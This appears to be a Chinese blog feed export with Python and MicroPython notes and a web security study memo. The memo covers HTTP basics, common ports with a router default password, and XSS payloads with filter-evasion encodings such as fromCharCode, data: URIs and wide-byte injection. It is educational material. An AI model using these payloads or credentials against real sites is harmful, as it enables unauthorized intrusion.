<figure class="highlight python"><table><tr><td class="code"><pre><code class="hljs python">plt.gca().xaxis.set_major_locator(plt.NullLocator())<br>plg.gca().yaxis.set_major_locator(plt.NullLocator())<br>plt.subplots_adjust(top =<span class="hljs-number">1</span>,bottom=<span class="hljs-number">0</span>,right=<span class="hljs-number">0</span>,hspace=<span class="hljs-number">0</span>,wspace=<span class="hljs-number">0</span>)<br>plt.margins(<span class="hljs-number">0</span>,<span class="hljs-number">0</span>)<br>fig.savefig(out_png_path,format=<span class="hljs-string">'png'</span>,transparent=<span class="hljs-literal">True</span>,dip=<span class="hljs-number">300</span>,pad_inches=<span class="hljs-number">0</span>)<br></code></pre></td></tr></table></figure>

</li>
</ol>
]]></content>
      <categories>
        <category>docs</category>
        <category>python</category>
        <category>index</category>
      </categories>
      <tags>
        <tag>Python</tag>
        <tag>matplotlib</tag>
      </tags>
  </entry>
  <entry>
    <title>old-string-formatting</title>
    <url>/2018/03/01/old-string-formatting/</url>
    <content><![CDATA[<h2 id="旧式字符串格式化"><a href="#旧式字符串格式化" class="headerlink" title="旧式字符串格式化"></a>旧式字符串格式化</h2><p>%操作符可以实现字符串格式化。它将左侧的参数作为类似sprintf()式的格式化字符串，而将右侧的代入，然后返回格式化后的字符串。</p>
<p>for example:</p>
<figure class="highlight python"><table><tr><td class="code"><pre><code class="hljs python">math<br>&gt;&gt;&gt;print(<span class="hljs-string">'The value of PI is approximately %5.3f.'</span> %math.pi)<br>The value of PI <span class="hljs-keyword">is</span> approximately <span class="hljs-number">3.142</span><br></code></pre></td></tr></table></figure>

<figure class="highlight python"><table><tr><td class="code"><pre><code class="hljs python"><br>For example.<br><span class="hljs-string">'The sum of 1 + 2 is 3'</span>str.format_map(mapping)<br></code></pre></td></tr></table></figure>

<figure class="highlight xquery"><table><tr><td class="code"><pre><code class="hljs xquery"><br><span class="hljs-keyword">default</span>(dict):<br>      def __missing_<span class="hljs-number">_</span>(self<span class="hljs-built_in">,key</span>):<br>          <span class="hljs-keyword">return</span><span class="hljs-built_in"> key</span><br>          <br>  <span class="hljs-string">'&#123;name&#125; was born in &#123;country&#125;'</span>.format_map(<span class="hljs-keyword">default</span><span class="hljs-built_in">(name</span>=<span class="hljs-string">'Guido'</span>))<br><span class="hljs-string">'Guido war borin in country'</span><br></code></pre></td></tr></table></figure>

<p>str.index(sub[,start[,end]])</p>
<p>Like find(),but raise ValueError when the substring is not found.</p>
<p>区别与find(),find的结果为False时返回-1，index()的查询值如果不在str中，则会报错。</p>
<figure class="highlight less"><table><tr><td class="code"><pre><code class="hljs less"><span class="hljs-selector-tag">changxufeng</span><span class="hljs-selector-class">.find</span>(<span class="hljs-string">'y'</span>)<span class="hljs-comment">//return -1</span><br><span class="hljs-selector-tag">changxufeng</span><span class="hljs-selector-class">.index</span>(<span class="hljs-string">'y'</span>)<span class="hljs-comment">// ValueError:substring not found</span><br></code></pre></td></tr></table></figure>

<p>str.isalnum()</p>
<p> Return true if all characters in the string are alphanumeric and there is at least one character,false otherwise. A character c is alphanumeric if one of the following returns True: c.isalpha(), c.isdecimal(), c.isdigit(), or c.isnumeric().</p>
<p>如果都是字母和数字时候，return True, else return False.</p>
<p>str.isalpha()</p>
<p> Return true if all characters in the string are alphabetic and there is at least one character, false otherwise.Alphabetic characters are those characters defined in the Unicode character database as “Letter”,ie.e., those with general category property being one of “Lm”,”Lt”, “Lu”,”Ll” or “Lo” .Note that this is different from the “Alphabetic” propertty defined in the Unicode Standard.</p>
<p>判断str是否都是数字</p>
<p>str.isdecimal()</p>
<p> Return true if all characters in the string are <strong>decimal</strong> characters and there is at least one character,false otherwise.Decimal characters are those from general catefory “Nd”. This category includes digit characters,and all characters that that can be used to form decimal-radix numbers,e.g. U+0660,ARABIC-INDIC DIGIT ZERO.</p>
<p>判断str是否是十进制数。</p>
<p>str.lstrip([<em>chars</em>])</p>
<p>Return a copy of the string with leading characters removed. The <em>chars</em> argument is a string specifying the set of characters to be removed. If omitted or<code>None</code>, the <em>chars</em> argument defaults to removing whitespace. The <em>chars</em> argument is not a prefix; rather, all combinations of its values are stripped:</p>
<p><code>&#39; changxufeng&#39;.lstrip()</code>\当argu为空是，返回结果为去掉str前面的空格。不影响原来str的值，只是一份copy</p>
<p><code>&#39;changxufeng&#39;.lstrip(chang)</code>\return ‘xufeng’</p>
<p>如果去掉首位的空格可以使用str.strip()</p>
<p><code>&#39;changxufeng&#39;.rstrip(&#39;xufeng&#39;)</code>\return ‘cha’</p>
<p>str.title()</p>
<p> Return a titlecased version of the string where words start with an uppercase character and the remaining characters are lowercase.</p>
<p> The algorithm uses a simple language-independent definition of a word as groups of consecutive letters. The definition works in many contexts but it means that apostrophes in contractions and possessives form word boundaries, which may not be the desired result:</p>
<p>string中首字母大写。</p>
]]></content>
      <categories>
        <category>docs</category>
        <category>python</category>
        <category>index</category>
      </categories>
      <tags>
        <tag>Python</tag>
      </tags>
  </entry>
  <entry>
    <title>0.96 OLED Display</title>
    <url>/2019/02/26/oled-display/</url>
    <content><![CDATA[<p><img src="https://i.loli.net/2019/02/26/5c75137f2799d.png" alt="cmd-markdown-logo"><br>之前买过一个0.96英寸的OLED屏幕，一直没有用，最近想着做个小的玩具，比如放在桌面上的小摆件可以提醒生词，提醒todo-list等，或者结合esp8266做成一个情侣见互相留言的小玩具。</p>
<a id="more"></a>
<p>##关于OLED</p>
<blockquote>
<p>OLED，即有机发光二极管( OrganicLightEmittingDiode)。 OLED 由于同时具备自发光，不需背 光源、对比度高、厚度薄、视角广、反应速度快、可用于挠曲性面板、使用温度范围广、构造及 制程较简单等优异之特性，被认为是下一代的平面显示器新兴应用技术。<br>LCD 都需要背光，而 OLED 不需要，因为它是自发光的。这样同样的显示 OLED 效果要来得好一些。</p>
</blockquote>
<p>说说踩过的坑</br><br>1.因为使用Micropython，可以参考的资料非常少。</p>
<p>2.这个OLED本身不带字库，除了英文和标准绘图（点、线、形状）之外都需要使用其他方式实现。</p>
<p>3.依赖SSD1306驱动，不能像Arduino的u8g2库一样强大，许多功能需要自己实现。</p>
<p>##中文文字转字模型</br><br>所有显示的中文都需要转换成字模，其实在购买屏幕的时候随机送了一个中文取字模的软件。PCtoLCD2002，但是我用的是Mac，总不能为了这个字模装个虚拟机吧，虽然我将另外一台win10开启了远程桌面，但是也不便于形成Demo后别人使用，在有网环境下可以用我写的一个小脚本<a class="link"   href="https://github.com/cx4/ssd1306_tool"  target="_blank" rel="noopener">fontool<i class="fas fa-external-link-alt"></i></a>.可以方便的将想要显示的中文转换为字模。</p>
<p>##图片显示</br><br>关于图片的显示，网上有两种方案（基于Arduino）一种是将图片转换为二进制bin文件，另一种和中文差不多，将图片的像素转换为01二进制，0为不现实1为亮。没有现成的库。</p>
<p>###实现图片的显示<br>以我的头像这个dogydog为例。<br><img src="https://i.loli.net/2019/02/26/5c7518ad4c076.png" alt=""><br>这里需要用的的python库</p>
<blockquote>
<p>PIL （Pillow）</p>
</blockquote>
<p>1.首先将图片处理为灰度模式，然后改变图像的大小，这里有个坑，其实你直接使用PIL的resize就好但是网上的多处例子谈到<code>img = img.resize((w,h),Image.ANTIALIAS)</code> 这个地方的<code>Image.ANTIALIAS</code>其实是用来处理大型图片缩放时候用到的一个滤镜，对比PS的文件处理速度会快一些而且质量会好一些，在应用与低质量的显示比如这块128 * 64的屏幕上完全用不到精细化处理，而且会适得其反，因为8266的内存有限，使用滤镜生成的bin文件会很大，而且在128*64这样的屏幕上会有毛刺。</p>
<p>对比效果</br><br><img src="https://i.loli.net/2019/02/26/5c751c33e2378.png" alt="未使用滤镜"></br></p>
<p><img src="https://i.loli.net/2019/02/26/5c751c77213ba.png" alt="使用滤镜效果"></p>
<p>2.然后逐行的读取每个像素点的数值，生成10矩阵。</br><br>代码在<a class="link"   href="https://github.com/cx4/ssd1306_tool"  target="_blank" rel="noopener">这里<i class="fas fa-external-link-alt"></i></a></p>
<p>显示效果</br><br><img src="https://i.loli.net/2019/02/26/5c751d0a4ef6a.png" alt=""></p>
]]></content>
      <categories>
        <category>micropython</category>
        <category>index</category>
      </categories>
      <tags>
        <tag>micropython,esp8266,Oled,collect</tag>
      </tags>
  </entry>
  <entry>
    <title>web安全备忘录</title>
    <url>/2020/06/18/network-security-basic/</url>
    <content><![CDATA[<h4 id="目录"><a href="#目录" class="headerlink" title="目录"></a>目录</h4><ol>
<li><a href="#1">基本网络思维模型</a></li>
<li><a href="#2">TCP&amp;UDP 笔记</a></li>
<li><a href="#3">XSS 备忘录</a></li>
<li><a href="#4">SSRF 备忘录</a></li>
<li><a href="#5">逻辑漏洞备忘录</a></li>
<li><a href="#6">上传漏洞备忘录</a></li>
<li><a href="#7">PHP 远程代码执行备忘录</a></li>
<li><a href="#8">引用XXE 外部实体注入</a></li>
<li><a href="#9">RCE_bypass 笔记</a><a id="more"></a>
<h3 id="0x1-基本网络思维模型"><a href="#0x1-基本网络思维模型" class="headerlink" title="0x1 基本网络思维模型"></a>0x1 <a name="1">基本网络思维模型</a></h3><h5 id="1-1-技术架构CS-Client-Server"><a href="#1-1-技术架构CS-Client-Server" class="headerlink" title="1.1  技术架构CS(Client/Server)"></a>1.1  技术架构CS(Client/Server)</h5><code>Client</code> 指的是客户端，我们每个人的电脑都可以当做一个客户端，日常的一些上网，使用谷歌浏览器搜索东西，打开视频软件浏览视频，打开音乐播放器下载歌曲…这些操作都是要与远方的另一台电脑进行通信的，远方的那台计算机称为服务器<code>（Server）</code>。<h5 id="1-2-技术架构BS-Browser-Server"><a href="#1-2-技术架构BS-Browser-Server" class="headerlink" title="1.2 技术架构BS(Browser/Server)"></a>1.2 技术架构BS(Browser/Server)</h5>通过浏览器访问服务器端的都可以称为BS架构。</li>
</ol>
<p><em>Tips：通常的话 <code>BS</code> 架构也是在 <code>CS</code> 架构里面的，但是因为互联网发展迅速，更新换代太快，所以单独将 <code>BS</code> 架构这块分了出来。</em></p>
<h5 id="1-3-HTTP请求头"><a href="#1-3-HTTP请求头" class="headerlink" title="1.3 HTTP请求头"></a>1.3 HTTP请求头</h5><table>
<thead>
<tr>
<th><strong>协议头</strong></th>
<th><strong>说明</strong></th>
</tr>
</thead>
<tbody><tr>
<td>X-Forwarded-For</td>
<td>用来表示 HTTP 请求端真实 IP</td>
</tr>
<tr>
<td>Accept</td>
<td>可接受的响应内容类型（Content-Types）</td>
</tr>
<tr>
<td>Accept-Charset</td>
<td>可接受的字符集</td>
</tr>
<tr>
<td>Accept-Encoding</td>
<td>可接受的响应内容的编码方式</td>
</tr>
<tr>
<td>Accept-Language</td>
<td>可接受的响应内容语言列表</td>
</tr>
<tr>
<td>Accept-Datetime</td>
<td>可接受的按照时间来表示的响应内容版本</td>
</tr>
<tr>
<td>Cookie</td>
<td>由之前服务器通过Set-Cookie（见下文）设置的一个HTTP协议Cookie</td>
</tr>
<tr>
<td>Content-Length</td>
<td>以8进制表示的请求体的长度</td>
</tr>
<tr>
<td>Content-MD5</td>
<td>请求体的内容的二进制 MD5 散列值（数字签名），以 Base64 编码的结果</td>
</tr>
<tr>
<td>Content-Type</td>
<td>请求体的MIME类型 （用于POST和PUT请求中）</td>
</tr>
<tr>
<td>Date</td>
<td>发送该消息的日期和时间</td>
</tr>
<tr>
<td>Expect</td>
<td>表示客户端要求服务器做出特定的行为</td>
</tr>
<tr>
<td>From</td>
<td>发起此请求的用户的邮件地址</td>
</tr>
<tr>
<td>Host</td>
<td>表示服务器的域名以及服务器所监听的端口号。</td>
</tr>
<tr>
<td>Origin</td>
<td>发起一个针对跨域资源共享的请求（该请求要求服务器在响应中加入一个Access-Control-Allow-Origin的消息头，表示访问控制所允许的来源）。</td>
</tr>
<tr>
<td>Range</td>
<td>表示请求某个实体的一部分，字节偏移以0开始。</td>
</tr>
<tr>
<td>Referer</td>
<td>表示浏览器所访问的前一个页面，可以认为是之前访问页面的链接将浏览器带到了当前页面。</td>
</tr>
<tr>
<td>User-Agent</td>
<td>浏览器的身份标识字符串</td>
</tr>
</tbody></table>
<h5 id="1-4-HTTP响应头"><a href="#1-4-HTTP响应头" class="headerlink" title="1.4 HTTP响应头"></a>1.4 HTTP响应头</h5><p>| <strong>响应头</strong>                  | <strong>说明</strong>                                                                                        |<br>| ————————— | ———————————————————— | —-<br>| Access-Control-Allow-Origin | 指定哪些网站可以跨域源资源共享<br>| Accept-Patch                | 指定服务器所支持的文档补丁格式<br>| Accept-Ranges               | 服务器所支持的内容范围<br>| Age                         | 响应对象在代理缓存中存在的时间，以秒为单位<br>| Allow                       | 对于特定资源的有效动作;<br>| Cache-Control               | 通知从服务器到客户端内的所有缓存机制，表示它们是否可以缓存这个对象及缓存有效时间。其单位为秒                  |<br>| Connection                  | 针对该连接所预期的选项<br>| Content-Disposition         | 对已知MIME类型资源的描述，浏览器可以根据这个响应头决定是对返回资源的动作，如：将其下载或是打开。<br>| Content-Encoding            | 响应资源所使用的编码类型。<br>| Content-Language            | 响应内容所使用的语言<br>| Content-Length              | 响应消息体的长度，用8进制字节表示<br>| Content-Location            | 所返回的数据的一个候选位置<br>| Content-Type                | 当前内容的MIME类型<br>| Date                        | 此条消息被发送时的日期和时间<br>| Location                    | 用于在进行重定向，或在创建了某个新资源时使用。<br>| Proxy-Authenticate          | 要求在访问代理时提供身份认证信息。<br>| Refresh                     | 用于重定向，或者当一个新的资源被创建时。默认会在5秒后刷新重定向。<br>| Server                      | 服务器的名称<br>| Set-Cookie                  | 设置HTTP cookie<br>| Status                      | 通用网关接口的响应头字段，用来说明当前HTTP连接的响应状态。<br>| Trailer                     | Trailer用户说明传输中分块编码的编码信息<br>| Transfer-Encoding           | 用表示实体传输给用户的编码形式。包括：chunked、compress、 deflate、gzip、identity。 </p>
<h5 id="1-5-HTTP请求方式"><a href="#1-5-HTTP请求方式" class="headerlink" title="1.5 HTTP请求方式"></a>1.5 HTTP请求方式</h5><p>GET\POST\PUT\COPY\DELETE\OPTIONS\PATCH</p>
<h5 id="1-6-HTTP常见状态码"><a href="#1-6-HTTP常见状态码" class="headerlink" title="1.6 HTTP常见状态码"></a>1.6 HTTP常见状态码</h5><p>200、301、302、500、404、403、502</p>
<h5 id="1-7-GET和POST的区别"><a href="#1-7-GET和POST的区别" class="headerlink" title="1.7 GET和POST的区别"></a>1.7 GET和POST的区别</h5><p>浏览器限制<code>GET</code>接收的的长度，但是不限制<code>POST</code>提交的长度，<code>POST</code>提交的长度取决于服务器。</p>
<p><strong>数据接收方式</strong></p>
<p><code>GET</code>请求接收的方式是通过浏览器的地址栏来接收的，而<code>POST</code>是通过表单隐藏式的提交数据。</p>
<h5 id="1-8-局域网的简单通信（数据链路层）"><a href="#1-8-局域网的简单通信（数据链路层）" class="headerlink" title="1.8 局域网的简单通信（数据链路层）"></a>1.8 局域网的简单通信（数据链路层）</h5><ul>
<li>一般局域网都是通过交换机/路由器进行通信。</li>
<li>很早之前的网络大部分是通过HUB（集线器）进行通信。</li>
<li>缺点就是主机发送的数据包都会被其他的主机接收到，这个过程称为泛洪。</li>
<li>交换机在此基础上进行了改进，使其变得更安全，同样也保留了HUB的一些功能。</li>
<li>局域网通过MAC地址表来进行数据通信。</li>
</ul>
<h5 id="1-9-交换机主机通信过程"><a href="#1-9-交换机主机通信过程" class="headerlink" title="1.9 交换机主机通信过程"></a>1.9 交换机主机通信过程</h5><ol>
<li>交换机 <code>ARP</code> 广播</li>
<li><code>PC</code>计算机接收响应</li>
<li>发送数据 —&gt; 交换机转发并记录<code>MAC</code>地址</li>
<li>如果交换机的<code>MAC</code>表被填满，将会泛洪（<code>ARP</code>毒化）</li>
<li><code>ARP</code>欺骗 —&gt; 伪造<code>MAC</code>地址来进行欺骗的效果</li>
</ol>
<p><em>Tips：有些交换机重启的时候会清空<code>MAC</code>地址表。</em></p>
<h3 id="0x2-TCP-amp-UDP"><a href="#0x2-TCP-amp-UDP" class="headerlink" title="0x2 TCP&amp;UDP"></a>0x2 <a name="2">TCP&amp;UDP</a></h3><h5 id="1-知名端口"><a href="#1-知名端口" class="headerlink" title="1. 知名端口"></a>1. 知名端口</h5><p>系统程序所使用的端口号</p>
<figure class="highlight routeros"><table><tr><td class="code"><pre><code class="hljs routeros">telnet 23 <br>ftp 21 <br>http 80 <br>https 443 <br>smtp 25 <span class="hljs-built_in"><br>dns </span>53 <br>DHCP 67 <br>tftp 69<br></code></pre></td></tr></table></figure>
<h5 id="2-动态端口"><a href="#2-动态端口" class="headerlink" title="2. 动态端口"></a>2. 动态端口</h5><p>动态端口的范围时 1024-65535,当服务或者程序关闭时也就释放了所占用的端口</p>
<figure class="highlight basic"><table><tr><td class="code"><pre><code class="hljs basic"><span class="hljs-symbol">1433 </span>MSSQL <br><span class="hljs-symbol">1521 </span>Oracle <br><span class="hljs-symbol">3306 </span>MySQL <br><span class="hljs-symbol">5432 </span>PostgreSQL <br><span class="hljs-symbol">6379 </span>redis <br><span class="hljs-symbol">27017 </span>Mongodb <br><span class="hljs-symbol">5000 </span>DB2 <br><span class="hljs-symbol">4848 </span>glassfish<br><span class="hljs-symbol">7001 </span>WebLogic <br><span class="hljs-symbol">2601 </span>zebra路由，默认密码zebra <br><span class="hljs-symbol">3389 </span>远程桌面 (shift 后门) <br><span class="hljs-symbol">8080 </span>apache tomcat <br><span class="hljs-symbol">5900 </span>vnc 虚拟网络控制台 <br><span class="hljs-symbol">11211 </span>memcache未授权访问 <br><span class="hljs-symbol">2181 </span>Zookeeper未授权访问<br></code></pre></td></tr></table></figure>
<h5 id="3-查看端口"><a href="#3-查看端口" class="headerlink" title="3.查看端口"></a>3.查看端口</h5><figure class="highlight perl"><table><tr><td class="code"><pre><code class="hljs perl">netstat -an | <span class="hljs-keyword">grep</span> “:<span class="hljs-number">8080</span>”  <span class="hljs-comment"># 显示打开的端口所在协议。</span><br><br>lsof -i :<span class="hljs-number">8080</span>               <span class="hljs-comment"># 显示对应端口的服务名称（所用程序）。</span><br><br>netstat -anp | <span class="hljs-keyword">grep</span> “:<span class="hljs-number">8080</span>” <span class="hljs-comment"># 查看上面两条命令的综合信息</span><br></code></pre></td></tr></table></figure>
<p><em>Tips：如果该服务不属于当前的用户，需要<code>sudo</code>权限<code>（root）</code></em></p>
<h5 id="4-UDP协议"><a href="#4-UDP协议" class="headerlink" title="4.UDP协议"></a>4.UDP协议</h5><p><code>UDP</code>发送数据之前不需要建立连接</p>
<h6 id="特点："><a href="#特点：" class="headerlink" title="特点："></a>特点：</h6><ol>
<li>无连接</li>
<li>资源开销小</li>
<li>传输速度快</li>
<li>udp每个数据包最大64k</li>
</ol>
<h6 id="优点："><a href="#优点：" class="headerlink" title="优点："></a>优点：</h6><ol>
<li>传输速度快</li>
<li>不需要连接，资源开销小</li>
</ol>
<h6 id="缺点"><a href="#缺点" class="headerlink" title="缺点"></a>缺点</h6><p>传输数据不可靠，容易丢数据包，没有流量控制，当对方没有及时接受数据，发送方一直发送数据包会导致缓冲区数据溢出，电脑出现卡死情况，所有接受方需及时接受数据。</p>
<h6 id="UDP-使用场景"><a href="#UDP-使用场景" class="headerlink" title="UDP 使用场景"></a>UDP 使用场景</h6><p>当对网络通讯质量要求不高的时候，要求网络通讯速度尽量的快。</p>
<p>例如 ：</p>
<ol>
<li>音视频传输</li>
<li>共享屏幕软件</li>
<li>发送广播消息</li>
</ol>
<h5 id="特点：-1"><a href="#特点：-1" class="headerlink" title="特点："></a>特点：</h5><ol>
<li>无连接</li>
<li>资源开销小</li>
<li>传输速度快</li>
<li>udp每个数据包最大64k</li>
</ol>
<h5 id="Python-socket"><a href="#Python-socket" class="headerlink" title="Python socket"></a>Python socket</h5><figure class="highlight python"><table><tr><td class="code"><pre><code class="hljs python"><span class="hljs-keyword">import</span> socket<br>socket.socket(AddressFamily,Type)<br>AddressFamily：IP地址类型；AF_INET代表ipv4类型、AF_INET6表示ipv6类型；<br>Type：套接字类型，可以是SOCK_STREAM (流式套接字，主要用于TCP协议) 或者 SOCK_DGRAM（数据报套接字，UDP协议）<br></code></pre></td></tr></table></figure>
<h5 id="5-TCP协议"><a href="#5-TCP协议" class="headerlink" title="5.TCP协议"></a>5.TCP协议</h5><h5 id="面向连接"><a href="#面向连接" class="headerlink" title="面向连接"></a>面向连接</h5><p>通信双方必须先建立连接才进行数据的传输，双方都必须为该连接分配必要的系统内核资源，以管理连接的状态和连接上的传输,双方间的数据传输都可以用过这一个连接进行,完成数据交换后，双方必须断开此连接，以释放系统资源,这种连接是一对一的，因此<code>TCP</code>不适合于广播的应用程序，基于广播的程序请使用UDP协议。</p>
<h5 id="可靠传输"><a href="#可靠传输" class="headerlink" title="可靠传输"></a>可靠传输</h5><ol>
<li><h5 id="tcp-采用发送应答机制"><a href="#tcp-采用发送应答机制" class="headerlink" title="tcp 采用发送应答机制"></a>tcp 采用发送应答机制</h5><p> <code>tcp</code>发送的每一条报文段必须得到接收方的应答才认为这个<code>tcp</code>报文段传输成功</p>
</li>
<li><h5 id="超时重传"><a href="#超时重传" class="headerlink" title="超时重传"></a>超时重传</h5><p> 发送端发出一个报文之后启动定时器，如果在定时时间内没有收到应答就重新发送这个报文段</p>
</li>
<li><h5 id="错误效验"><a href="#错误效验" class="headerlink" title="错误效验"></a>错误效验</h5><p> 检测数据到发送端到接收端之间是否有改动，直接丢弃这个数据包</p>
</li>
<li><h5 id="流量控制和阻塞管理"><a href="#流量控制和阻塞管理" class="headerlink" title="流量控制和阻塞管理"></a>流量控制和阻塞管理</h5><p> 流量控制用来避免主机发送得过快而使接收方来不及完全收下。</p>
</li>
</ol>
<h5 id="TCP-使用场景"><a href="#TCP-使用场景" class="headerlink" title="TCP 使用场景"></a>TCP 使用场景</h5><p>当对网络通讯质量有要求的时候，比如 <code>HTTP</code>，<code>HTTPS</code>，<code>FTP</code>等网络传输协议，<code>POP</code>，<code>STMTP</code>等邮件传输协议。</p>
<h3 id="0x3-XSS"><a href="#0x3-XSS" class="headerlink" title="0x3 XSS"></a>0x3 <a name="3">XSS</a></h3><p>XSS 又叫CSS (Cross Site Script) , 跨站脚本攻击。以下为学习《心伤的瘦子XSS系列》的个人笔记，和其他总结的内容。</p>
<p><strong>1. 一个普通反射型的XSS</strong></p>
<figure class="highlight javascript"><table><tr><td class="code"><pre><code class="hljs javascript">http:<span class="hljs-comment">//localhost/xxxxxxxssssssssssss/xss.php?name=&lt;script&gt;alert(1)&lt;/script&gt;</span><br></code></pre></td></tr></table></figure>

<p><strong>2. HTML编码</strong></p>
<figure class="highlight"><table><tr><td class="code"><pre><code class="hljs javascript">http://   <br>&amp;#104;&amp;#116;&amp;#116;&amp;#112;&amp;#58;&amp;#47;&amp;#47; <br>&amp;#x68;&amp;#x74;&amp;#x74;&amp;#x70;&amp;#x3a;&amp;#x2f;&amp;#x2f;<br></code></pre></td></tr></table></figure>
<p>Tips: 这三个是标签是相等的,都为 <code>http://</code> ，其中 Hex 是十六进制编码,Dec 是十进制编码。</p>
<p>这种编码在 html 执行的前提是,必须在值里例如：</p>
<figure class="highlight javascript"><table><tr><td class="code"><pre><code class="hljs javascript">&lt;a href=”xxx”&gt;<br><span class="xml"><span class="hljs-tag">&lt;<span class="hljs-name">img</span> <span class="hljs-attr">src</span>=<span class="hljs-string">”xxx”</span>&gt;</span></span><br></code></pre></td></tr></table></figure>
<p><strong>3. Unicode编码</strong></p>
<p>Js中是允许使用 unicode编码的。</p>
<figure class="highlight javascript"><table><tr><td class="code"><pre><code class="hljs javascript">&lt;  ==  “\x3c” == “\u003c”<br>&gt;  ==  “\x3e” == “\u003e”<br>空格 == “\x20” == ” \u0020”<br>.....<br></code></pre></td></tr></table></figure>

<p><strong>4. CSS编码</strong></p>
<p>使用 Unicode 写中文字体名称，浏览器是可以正确的解析的。<br>例如：font-family: “5FAE8F6F96C59ED1”，表示设置字体为“微软雅黑”。<br>CSS 中 expression 用来把CSS属性和Javascript表达式关联起来。</p>
<figure class="highlight javascript"><table><tr><td class="code"><pre><code class="hljs javascript">&lt;img src=<span class="hljs-string">"URL"</span> style=<span class="hljs-string">'Xss:expression(alert(/xss/));'</span>&gt;<br></code></pre></td></tr></table></figure>
<p><em>Tips: 但是这种的只能在IE6 , IE7 中才会触发。</em></p>
<p><strong>5. 宽字节</strong></p>
<p>Gbxxx系列编码。</p>
<figure class="highlight javascript"><table><tr><td class="code"><pre><code class="hljs javascript">%aa将%<span class="hljs-number">27</span>吞并组成一个gbxxx字符 ==&gt;  猏’<br>%aa%<span class="hljs-number">27</span> | alert(<span class="hljs-number">1</span>)<span class="hljs-comment">//</span><br></code></pre></td></tr></table></figure>

<p><strong>6. eval(string) 函数</strong></p>
<p>eval 函数可计算某个字符串，并执行其中的的 JavaScript 代码。</p>
<figure class="highlight javascript"><table><tr><td class="code"><pre><code class="hljs javascript"><span class="hljs-built_in">eval</span>(<span class="hljs-string">'alert(1)'</span>)<br></code></pre></td></tr></table></figure>

<p><strong>7. fromcharcode() 函数</strong></p>
<p>可接受指定的unicode编码的值，返回字符串，可以配合eval函数使用。</p>
<figure class="highlight javascript"><table><tr><td class="code"><pre><code class="hljs javascript">alert(<span class="hljs-number">1</span>) ==&gt; <span class="hljs-built_in">String</span>.fromCharCode(<span class="hljs-number">97</span>,<span class="hljs-number">108</span>,<span class="hljs-number">101</span>,<span class="hljs-number">114</span>,<span class="hljs-number">116</span>,<span class="hljs-number">40</span>,<span class="hljs-number">49</span>,<span class="hljs-number">41</span>)<br><br><br><span class="hljs-comment">// 结合 eval() 函数</span><br><span class="hljs-built_in">eval</span>(<span class="hljs-built_in">String</span>.fromCharCode(<span class="hljs-number">97</span>,<span class="hljs-number">108</span>,<span class="hljs-number">101</span>,<span class="hljs-number">114</span>,<span class="hljs-number">116</span>,<span class="hljs-number">40</span>,<span class="hljs-number">49</span>,<span class="hljs-number">41</span>))<br></code></pre></td></tr></table></figure>


<p><strong>8. 伪协议</strong></p>
<figure class="highlight"><table><tr><td class="code"><pre><code class="hljs javascript">Javascript:alert(document.domain) <br>data:text/html,&lt;script&gt;alert(1)&lt;/script&gt; <br>data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg== <br>vbscript: xxxx     // IE中运行<br></code></pre></td></tr></table></figure>


<p><strong>9. URL编码</strong></p>
<figure class="highlight plain"><table><tr><td class="code"><pre><code class="hljs url">%0a  &#x2F;&#x2F;  URL换行符  <br>%20  &#x2F;&#x2F;  空格<br>! %21 <br>&quot; %22 <br># %23 <br>$ %24 <br>% %25 <br>&amp; %26 <br>&#39; %27 <br>( %28 <br>) %29 <br>* %2A <br>+ %2B <br>......<br></code></pre></td></tr></table></figure>


<p><strong>10. JS 多行字符串</strong></p>
<figure class="highlight javascript"><table><tr><td class="code"><pre><code class="hljs javascript">Var a=<span class="hljs-string">'\<br>Test\<br>En\<br>//coding\<br>Aaa'</span><br></code></pre></td></tr></table></figure>


<p><strong>11. JS特性</strong></p>
<figure class="highlight javascript"><table><tr><td class="code"><pre><code class="hljs javascript">&amp; 比 = 优先级高<br>== 比 &amp; 优先级高<br></code></pre></td></tr></table></figure>


<p>Javascript 是从上到下按顺序执行的。</p>
<figure class="highlight"><table><tr><td class="code"><pre><code class="hljs javascript">test()<br>function test()&#123;<br>//code...   这种形式定义的函数会被优先解析<br>&#125;  <br> <br># 实际解析顺序<br>function test()&#123;<br>//code...   这种形式定义的函数会被优先解析<br>&#125; <br>test()<br></code></pre></td></tr></table></figure>


<p><strong>12. 注释符</strong></p>
<figure class="highlight javascript"><table><tr><td class="code"><pre><code class="hljs javascript"><span class="hljs-comment">//             // js注释</span><br>&lt;!-- --&gt;       <span class="hljs-comment">// HTML注释</span><br><span class="hljs-comment">/**/</span>           <span class="hljs-comment">// js注释</span><br></code></pre></td></tr></table></figure>


<p><strong>13. HTML属性</strong></p>
<p>当元素失去焦点时发生的事件，按下tab键触发js。</p>
<figure class="highlight html"><table><tr><td class="code"><pre><code class="hljs html"><span class="hljs-tag">&lt;<span class="hljs-name">aaaa</span> <span class="hljs-attr">tabindex</span>=<span class="hljs-string">1</span> <span class="hljs-attr">onblur</span>=<span class="hljs-string">"alert(1)"</span>&gt;</span><span class="hljs-tag">&lt;/<span class="hljs-name">aaaa</span>&gt;</span><br></code></pre></td></tr></table></figure>

<p>当元素获得焦点时发生的事件，按下tab键触发js。</p>
<figure class="highlight html"><table><tr><td class="code"><pre><code class="hljs html"><span class="hljs-tag">&lt;<span class="hljs-name">aaaa</span> <span class="hljs-attr">tabindex</span>=<span class="hljs-string">1</span> <span class="hljs-attr">onfocus</span>=<span class="hljs-string">"alert(1)"</span>&gt;</span><span class="hljs-tag">&lt;/<span class="hljs-name">aaaa</span>&gt;</span><br></code></pre></td></tr></table></figure>


<p><strong>14. JS 黑魔法</strong></p>
<p>1.jjencode –将JS代码转换成只有符号的字符串。</p>
<figure class="highlight awk"><table><tr><td class="code"><pre><code class="hljs awk">网址：http:<span class="hljs-regexp">//u</span>tf-<span class="hljs-number">8</span>.jp<span class="hljs-regexp">/public/</span>jjencode.html<br></code></pre></td></tr></table></figure>

<p>2.aaencode –将JS代码转换成常用的网络表情。</p>
<figure class="highlight awk"><table><tr><td class="code"><pre><code class="hljs awk">网址：http:<span class="hljs-regexp">//u</span>tf-<span class="hljs-number">8</span>.jp<span class="hljs-regexp">/public/</span>aaencode.html<br></code></pre></td></tr></table></figure>

<p>3.Jsfuck –使用六个不同的字符来编写和执行代码。</p>
<figure class="highlight awk"><table><tr><td class="code"><pre><code class="hljs awk">网址：http:<span class="hljs-regexp">//u</span>tf-<span class="hljs-number">8</span>.jp<span class="hljs-regexp">/public/</span>aaencode.html<br></code></pre></td></tr></table></figure>

<p><strong>15. 常用绕过 Payload</strong></p>
